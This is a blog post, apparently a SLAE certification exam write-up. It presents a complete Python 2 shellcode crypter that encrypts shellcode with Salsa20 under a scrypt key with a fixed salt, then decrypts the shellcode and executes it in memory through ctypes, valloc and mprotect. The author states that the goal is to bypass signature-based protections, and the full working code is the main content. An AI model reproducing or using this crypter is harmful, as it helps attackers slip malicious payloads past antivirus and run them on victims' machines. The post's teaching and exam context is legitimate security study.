1. Create a custom crypter like the one shown in the “crypters” video
2. Free to use any existing encryption schema
3. Can use any programming language
I decided to create python script with 3 input values: password, shellcode and action (encrypt/decrypt). As encryption algorithm I decided to use Salsa20(https://en.wikipedia.org/wiki/Salsa20). This stream cipher won European cryptoalgorithms competition. It is implemented in most languages in well audited libraries.
From cryptography point of view my implementation is far from perfect,
having serious cryptographical flaw. However, the idea of the crypter
is to bypass some signature based protections, not to encrypt data for secure long
term storage. Also I will mention this flaw just to make the reader aware of it.
Let's discuss key code functions:
1. I decided to use password and pass it to key derivation function. I chose pyscrypt python module (https://pypi.org/project/pyscrypt/). This module created key from password using scrypt KDF (https://en.wikipedia.org/wiki/Scrypt). It is a good alternative to known PBKDFv2.
Crypto problem: in my code I use fixed salt instead of randomized. If we use randomized salt we will have to distribute the full key for decryption. In our case we can just use the code with known passphrase.
2. Encryption and decryption functions are pretty straightforward from algorithm usage examples (https://pycryptodome.readthedocs.io/en/latest/src/cipher/salsa20.html). Please, note that nonce is not a secret value, so we can pass it together with encrypted text.
3. To launch my shellcode from python script I used ctypes. I found this blogpost and just followed it - http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. In our case we just load shellcode in memory, knowing the size and address, mark our memory region executable (0x7) and run it.
Here is my code:
#!/usr/bin/env python2
from Crypto.Cipher import Salsa20
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
import sys
import binascii
import pyscrypt
def encrypt(text, secret):
ciphertext = Salsa20.new(key=secret)
msg= ciphertext.nonce + ciphertext.encrypt(text)
print binascii.hexlify(msg)
def decrypt(text, secret):
msg_nonce = text[:8]
ciphertext = text[8:]
cipher = Salsa20.new(key=secret, nonce=msg_nonce)
plaintext = cipher.decrypt(ciphertext)
print "Your decrypted shellcode is %s" %plaintext
print "Launching shellcode..."
execute(plaintext)
def execute(plaintext):
libc = CDLL('libc.so.6')
shellcode = plaintext.replace('\\x', '').decode('hex')
sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()
action = sys.argv[3]
key = pyscrypt.hash(sys.argv[1], "vinegrep", 1024, 1, 1, 32)
if action == "encrypt":
text = sys.argv[2]
encrypt(text, key)
elif action == "decrypt":
text = binascii.unhexlify(sys.argv[2])
decrypt(text, key)
else:
print("Allowed actions: encrypt, decrypt")
I used execve shellcode to check my crypter:
Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-764
All the code from this article can be found in my GitHub repository - https://github.com/vinegrep/SLAE-exam